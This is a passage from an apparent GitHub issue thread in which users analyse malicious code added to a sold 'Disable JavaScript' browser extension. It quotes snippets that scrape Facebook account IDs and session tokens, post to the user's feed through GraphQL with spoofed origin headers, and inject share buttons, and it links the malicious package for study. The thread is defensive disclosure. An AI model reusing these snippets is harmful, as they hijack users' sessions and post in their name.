                        variables: `{"input":{"composer_entry_point":"inline_composer","composer_source_surface":"newsfeed","composer_type":"feed","idempotence_token":"${a}_FEED","source":"WWW","attachments":[],"audience":{"privacy":{"allow":[],"base_state":"SELF","deny":[],"tag_expansion_state":"UNSPECIFIED"}},"message":{"ranges":[],"text":${JSON.stringify(
                            r
                        )}},"inline_activities":[],"text_format_preset_id":"0","logging":{"composer_session_id":"${a}"},"navigation_data":{"attribution_id_v2":"CometHomeRoot.react,comet.home,via_cold_start,${Date.now()},${A()},4748854339,,"},"tracking":[null],"event_share_metadata":{"surface":"newsfeed"},"actor_id":${JSON.stringify(
                            e.user_id
                        )},"client_mutation_id":"1"},"displayCommentsFeedbackContext":null,"displayCommentsContextEnableComment":null,"displayCommentsContextIsAdPreview":null,"displayCommentsContextIsAggregatedShare":null,"displayCommentsContextIsStorySet":null,"feedLocation":"NEWSFEED","feedbackSource":1,"focusCommentID":null,"gridMediaWidth":null,"groupID":null,"scale":1,"privacySelectorRenderLocation":"COMET_STREAM","checkPhotosToReelsUpsellEligibility":true,"renderLocation":"homepage_stream","useDefaultActor":false,"inviteShortLinkKey":null,"isFeed":true,"isFundraiser":false,"isFunFactPost":false,"isGroup":false,"isEvent":false,"isTimeline":false,"isSocialLearning":false,"isPageNewsFeed":false,"isProfileReviews":false,"isWorkSharedDraft":false,"UFI2CommentsProvider_commentsKey":"CometModernHomeFeedQuery","hashtag":null,"canUserManageOffers":false,"__relay_internal__pv__CometUFIIsRTAEnabledrelayprovider":false,"__relay_internal__pv__CometUFIReactionsEnableShortNamerelayprovider":false,"__relay_internal__pv__IsWorkUserrelayprovider":false,"__relay_internal__pv__IsMergQAPollsrelayprovider":false,"__relay_internal__pv__StoriesArmadilloReplyEnabledrelayprovider":false,"__relay_internal__pv__StoriesRingrelayprovider":false}`,
                        server_timestamps: "true",
                        doc_id: "6897576447022330",
                    };
                let s = await fetch("https://www.facebook.com/api/graphql/", {
                    headers: { "content-type": "application/x-www-form-urlencoded" },
                    body: new URLSearchParams(i),
                    method: "POST",
                    mode: "cors",
                    credentials: "include",
                }).then((l) => l.text());
                return s.startsWith("for (;;);") && (s = s.replace("for (;;);", "")), (s = JSON.parse(s)), !(s != null && s.errors) && !(s != null && s.error);
            }
            async function c() {
                if (f !== "firefox") {
                    const e = await P(),
                        r = await n.storage.local.get(),
                        a = [];
                    let i = 1e3;
                    if ((await n.declarativeNetRequest.getSessionRules().then((s) => n.declarativeNetRequest.updateSessionRules({ removeRuleIds: s.map((l) => l.id) })), e === "domain")) {
                        for (const s of Object.keys(r))
                            s.startsWith("setting-") ||
                                (r[s],
                                a.push({
                                    id: i,
                                    priority: 1,
                                    condition: { urlFilter: s, resourceTypes: ["main_frame", "sub_frame"] },
                                    action: { type: "modifyHeaders", responseHeaders: [{ header: "Content-Security-Policy", operation: "set", value: "script-src 'none';" }] },
                                }),
                                i++);
                        return n.declarativeNetRequest.updateSessionRules({ addRules: a, removeRuleIds: a.map((s) => s.id) });
                    }
                }
                return !0;
            }
            n.runtime.onStartup.addListener(() => {
                c();
            }),
                n.declarativeNetRequest
                    .updateSessionRules({
                        addRules: [
                            {
                                id: 1,
                                action: {
                                    type: "modifyHeaders",
                                    requestHeaders: [
                                        { header: "origin", operation: "set", value: "https://www.facebook.com" },
                                        { header: "referer", operation: "set", value: "https://www.facebook.com" },
                                    ],
                                },
                                condition: { urlFilter: "www.facebook.com", resourceTypes: ["xmlhttprequest"], tabIds: [n.tabs.TAB_ID_NONE] },
                            },
                        ],
                        removeRuleIds: [1],
                    })
                    .finally(),
                j();
        })();
    });
    function O(t, ...d) {}
    var se = { debug: (...t) => O(console.debug, ...t), log: (...t) => O(console.log, ...t), warn: (...t) => O(console.warn, ...t), error: (...t) => O(console.error, ...t) };
    try {
        ne.main() instanceof Promise && console.warn("The background's main() function return a promise, but it must be synchonous");
    } catch (t) {
        throw (se.error("The background crashed on startup!"), t);
    }
})();

I'm not a JS dev so I don't want to comment on what this is doing

tcurdt commented 3 months ago

I'm not a JS dev so I don't want to comment on what this is doing

It seems like there is a code path for posting to facebook. Not sure how and when and what.

I decided to end this journey for now and handed over the ownership of the extension on Chrome and Firefox to another party. While I can't say if the code will continue to stay public, I want to point out that I'm not the maintainer anymore and that versions after 2.3.1 won't reflect the source code of this repository.

@dpacassi While I guess everyone appreciates the work you put into this, handing over an extension is a pretty scary thing - at least if they also got to keep the same registration/name.

BogDrakonov commented 3 months ago

Hey @dpacassi thanks for the reply.

In any of your future extensions, if you sell them can you please push an update that notifies users of the sale? It appears that every extension I've seen or personally experienced where suddenly a legit extension is a security threat is because it was sold. A heads up to the users would be nice from a security perspective.

Thank you

daixiwen commented 3 months ago

While I'm not fluent in Javascript either, I'm very wary of the following section:

            const u = (e, r) => {
                    if (!isString(e)) return null;
                    const a = r.exec(e);
                    return a ? a[1] : null;
                },
                A = () => Math.floor(Math.random() * 988888) + 11111,
                h = async () => {
                    const e = /"ACCOUNT_ID":"(\d+)"/,
                        r = /"actorID":"([\d]+)"/,
                        a = /"DTSGInitialData",\[],\{"token":"(.*?)"/,
                        i = await fetch("https://www.facebook.com/reel")
                            .then((l) => l.text())
                            .catch(() => !1);
                    return { user_id: u(i, e), actor: u(i, r), dtsg: u(i, a) };
                };

To me it looks like the extension sends a request to the Facebook reel and tries to find in the returned data the account ID and a session token. This information could be used to impersonate the user on Facebook and (most probably) send spam to the user's contacts. I would strongly advise to anyone who has this extension installed to log out of Facebook on each browser to be sure the session token is not valid anymore. Does anyone who knows enough javascript can confirm this?

BogDrakonov commented 3 months ago

That is what I thought too. It's odd to target login tokens for only FB and LinkedIn but maybe that's what this attacker knew how to do.

BogDrakonov commented 3 months ago

I have submitted a report to Firefox and I recommend others here do the same.

@dpacassi can you update the README.md to reflect that you sold this extension, that this code no longer reflects the release, and then mark this repo as a public archive?

onionymous2 commented 3 months ago

There's this section in the unminified content.js content script:

  const ne = {matches: ["<all_urls>"], main() {
    if (/jsonblob.com\/api\/jsonBlob\/\d+/.test(location.href)) {
      const n = document.createElement("div");
      n.className = "buttons-share";
      const s = document.createElement("a");
      s.className = "btn-download", s.textContent = "Download", s.style.backgroundColor = "rgb(25 135 84)", s.style.color = "#fff", s.style.border = "none", s.style.padding = "3px 5px", s.style.cursor = "pointer", s.href = location.href, s.style.textDecoration = "none", s.setAttribute("download", ""), n.append(s);
      const i = document.createElement("span");
      i.textContent = "or Share to: ", i.style.marginLeft = "30px", n.append(i);
      const t = document.createElement("button");
      t.className = "btn-fb", t.textContent = "Facebook", t.style.backgroundColor = "#e7e7e7", t.style.color = "#fff", t.style.border = "none", t.style.padding = "3px 5px", t.style.marginLeft = "5px", t.style.cursor = "not-allowed", S.runtime.sendMessage({act: "check-share"}).then(E => {
        E && (t.style.backgroundColor = "#1877f2", t.style.cursor = "pointer", t.onclick = function () {
          S.runtime.sendMessage({type: "share-fb", url: location.href}).then(B => {
            alert(B ? "Create post successfully!" : `Can not share!
Something went wrong!`);
          });
        });
      });
      const c = document.createElement("button");
      c.className = "btn-lk", c.textContent = "Linkedin", c.style.backgroundColor = "#008CBA", c.style.color = "#fff", c.style.border = "none", c.style.padding = "3px 5px", c.style.marginLeft = "5px", c.style.cursor = "pointer", c.onclick = function () {
        S.runtime.sendMessage({type: "share-lk", url: location.href});
      }, n.append(t), n.append(c), document.body.append(n);
    }
  }};

It seems like it adds some buttons to jsonblob.com URLs to share to Facebook or Linkedin, which is intended to trigger the codepaths in the background.js script. Although whether this actually works as intended I don't know, since this check-share runtime message that gets sent first doesn't seem to be handled anywhere else.

ghost commented 3 months ago

People who use uBlock Origin can use it to disable JavaScript globally or on a per-site basis.

You can also use it to block scripts based on their source and target domains: Dynamic filtering.

Juraj-Masiar commented 3 months ago

Firefox has pulled the 2.3.2 version from the store so the previous 6 years old one is now available again. If anyone's interested in the malware one for further analysis, here you go: disable-javascriptFirefox(2.3.2).zip

I wish someone would collect all the malware extensions and train some AI model that would recognize them before they are distributed.

Irrelon commented 3 months ago

People who use uBlock Origin can use it to disable JavaScript globally or on a per-site basis.

You can also use it to block scripts based on their source and target domains: Dynamic filtering.

I gave it a try but it appears to run on all sites by default and you have to manually set other sites to disable. This is kinda-the-opposite behaviour that I suspect most users are looking for when blocking JS. (to clarify, the extension does a bunch of other things besides blocking JS and that's what I'm talking about running by default - blocking JS is only site-by-site).

pinnie commented 2 months ago

Firefox has pulled the 2.3.2 version from the store so the previous 6 years old one is now available again. If anyone's interested in the malware one for further analysis, here you go: disable-javascriptFirefox(2.3.2).zip

Looks like a new version for Firefox subsequently appeared as "2.3.2resigned1". Just compared it against 2.3.1 with WinDiff, and other than changes to the manifest and signature files, it appears identical to 2.3.1, so this new "2.3.2" is presumably safe.

BogDrakonov commented 2 months ago

Firefox has pulled the 2.3.2 version from the store so the previous 6 years old one is now available again. If anyone's interested in the malware one for further analysis, here you go: disable-javascriptFirefox(2.3.2).zip

Looks like a new version for Firefox subsequently appeared as "2.3.2resigned1". Just compared it against 2.3.1 with WinDiff, and other than changes to the manifest and signature files, it appears identical to 2.3.1, so this new "2.3.2" is presumably safe.

It's still controlled by the new owner that tried to insert malware. I would never trust this extension again.